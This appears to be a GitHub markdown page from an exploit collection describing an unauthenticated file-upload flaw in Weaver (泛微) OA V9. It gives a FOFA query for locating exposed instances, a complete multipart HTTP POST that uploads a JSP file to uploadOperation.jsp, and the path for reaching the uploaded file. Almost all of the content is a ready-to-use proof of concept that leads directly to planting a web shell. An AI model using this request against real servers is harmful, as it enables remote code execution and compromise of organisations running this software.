Skip to content

Latest commit

 

History

History
25 lines (20 loc) · 592 Bytes

泛微OAV9 前台文件上传.md

File metadata and controls

25 lines (20 loc) · 592 Bytes

描述

fofa app="Weaver-OA"

POC & 利用


POST /page/exportImport/uploadOperation.jsp HTTP/1.1
Host: x.x.x.x
Content-Length: 216
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x/
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFy3iNVBftjP6IOwo
Connection: close

------WebKitFormBoundaryFy3iNVBftjP6IOwo
Content-Disposition: form-data; name="file"; filename="12.jsp"
Content-Type: application/octet-stream

<%out.print(1111);%>
------WebKitFormBoundaryFy3iNVBftjP6IOwo--

然后访问

page/exportImport/fileTransfer/12.jsp